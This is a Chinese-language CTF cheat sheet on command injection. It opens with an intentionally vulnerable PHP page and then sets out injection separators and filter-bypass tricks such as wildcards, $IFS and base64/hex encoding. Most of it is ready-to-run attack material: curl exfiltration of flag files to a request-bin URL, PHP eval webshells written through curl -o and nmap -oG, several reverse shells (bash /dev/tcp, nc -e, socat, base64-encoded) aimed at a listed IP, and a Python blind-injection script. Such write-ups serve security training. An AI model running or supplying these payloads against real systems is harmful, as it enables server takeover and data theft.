命令执行总结
CTF中的命令执行
漏洞测试环境
<?php
$arg =$_GET['cmd'];
if ($arg) {
system("$arg");
}
?>
命令执行产生
1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
string system(string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2. Exec:exec函数可以用来执行一个外部的应用程序
string exec (string command, array&output, int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
其中,command是要执行的命令。
当用户传入的变量可控且可以逃逸时,能够产生命令执行。
%0a --换行符,需要php环境
%0d --回车符,需要php环境
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
`直接执行
$(command)直接执行
无法逃逸出命令,只能附加执行参数
- curl -o 写shell
- nmap 执行
无回显的处理
- dnslog,http等带外请求
- 命令盲注
命令注入绕过姿势
通配符
?
匹配任何一个字符
root@20d49078c6c9:/app# cat fl??
flag{yang99_test}
*
匹配任何字符串/文本,包括字符串
root@20d49078c6c9:/app# cat fl*
flag{yang99_test}
[....]
匹配范围中的任何字符串
root@20d49078c6c9:/app# cat f[a-z]ag
flag{yang99_test}
{a,b}
对逗号分割的文件列表进行拓展
root@20d49078c6c9:/app# cat fl{a,b,c}g
flag{yang99_test}cat: flbg: No such file or directory
cat: flcg: No such file or directory
root@20d49078c6c9:/app# {cat,flag}
flag{yang99_test}
命令执行绕过
过滤空格
使用<或>
cmd <> file
以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的
root@20d49078c6c9:/app# cat<flag
flag{yang99_test}
root@20d49078c6c9:/app# cat<>flag
flag{yang99_test} #需要写权限
IFS
是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
root@20d49078c6c9:/app# cat$IFS/flag
flag{yang99_test}
root@20d49078c6c9:/app# cat${IFS}/flag
flag{yang99_test}
root@20d49078c6c9:/app# cat$IFS$9flag
flag{yang99_test}
url编码
%20
+
%09(tab)
%3c(<)
windows下过滤空格
%CommonProgramFiles%
过滤关键字
拼接绕过
#执行ls命令:
a=l;b=s;$a$b
#cat flag文件内容:
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat flag文件内容
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b flag
编码绕过
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
单引号和双引号,反斜杠绕过
c'a't test
c"a"t test
ca\t test
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test
${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
通配符绕过
cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st
命令替换
查看文件内容
cat、cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf --类似于tail -f
sort --从最后一行开始读文件
uniq --删除重复的行
xxd --十六进制展示
rev --逆序输出
curl file:///etc/passwd
php /flag
paste /etc/passwd
diff /etc/passwd /flag.txt
od
bzmore /etc/passwd
curl
使用curl将参数外带
#带@将flag文件内的内容带出
#有的容器curl不能用
curl -X POST -d "@flag" http://http.requestbin.buuoj.cn/1q23b4x1
使用curl -o 写shell
#vps上的2.txt
<?php @eval($_REQUEST[a]) ?>
#用-o参数写shell
curl -o a.php 47.97.123.81/2.txt
当curl被过滤时,绕过(关键字过滤):
echo Y3VybCAtWCBQT1NUIC1kICJAL2ZsYWciIGh0dHA6Ly9odHRwLnc3RiaW4uYnV1b2ouY24vcW1yd2Y5cW0=|base64 -d|sh
#解码后是curl -X POST -d "@/flag" http://http.requestbin.buuoj.cn/qmrwf9qm
反弹shell
curl 弹shell
vps上写 bash -i >& /dev/tcp/47.97.123.81/11451 0>&1
攻击机监听 nc -lvvp 11451
让靶机执行1.txt中的内容 curl 47.97.123.81/1.txt|bash
nc 弹shell
如果服务器上没有curll可以考虑nc其他方法弹shell
攻击机 nc -lvvp 11451
靶机 nc 47.97.123.81 11451 -e /bin/sh
弹到shell进一步利用
有时候我们弹到的shell一碰就碎(指的是 ctrl+c就没了),我们拿到shell以后可以搞一个和真实shell一模一样的shell.
利用条件是靶机上有socat
或者有wget
可以下载socat
服务器监听socat file:`tty`,raw,echo=0 tcp-listen:11451
靶机执行wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:47.97.123.81:11452
如果一次执行报错可以分开执行,先装socat。
反弹shell绕过
当前面几种方法弹不出shell时:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ny4xMjMuODEvMTE0NTEgMD4mMQ==}|{base64,-d}|{bash,-i}
写文件
cat flag > 1 #把flag内容写到1里
echo ''>detect.py
可以把文件目录或敏感信息写到文件中,配合文件下载或直接读取内容
寻找flag
find / -name flag
用于查找文件
nmap
nmap '<?php @eval($_REQUEST[a]) ?>' -oG a.php
nmap -oN b.phtml '<?=eval($_POST[a]);?>'
#把webshell写入a.php
escapeshellarg()+escapeshellcmd() 导致的问题
<?php
$host = "' <?php phpinfo();?> -oG test.php'";
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo $host;
#payload
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
详细请看https://paper.seebug.org/164/
命令盲注
#shell.php
<?php shell_exec($_GET['cmd']);?>
shell_exec 是无回显请求,可以考虑命令盲注或者curl外带
命令盲注脚本
import requests
url = 'http://123.57.145.88:10001/shell.php'
flag = ''
for i in range(1,40):
for j in range(33,130):
parms = {
"cmd":f"[ `cut -c {i} /flag` = {chr(j)} ] && sleep 3"
}
r = requests.get(url=url,params=parms)
sec=r.elapsed.seconds
if(sec>2):
flag+=chr(j)
print(flag)
break
print(flag)
root@20d49078c6c9:/app# [ 111 \> 110 ]&&sleep 3
root@20d49078c6c9:/app# [ f = f ]&&sleep 3
&& 当前一句为真时,执行后一句。所以只有前句为真时会停顿3s
当进行大于号比较时需要转义符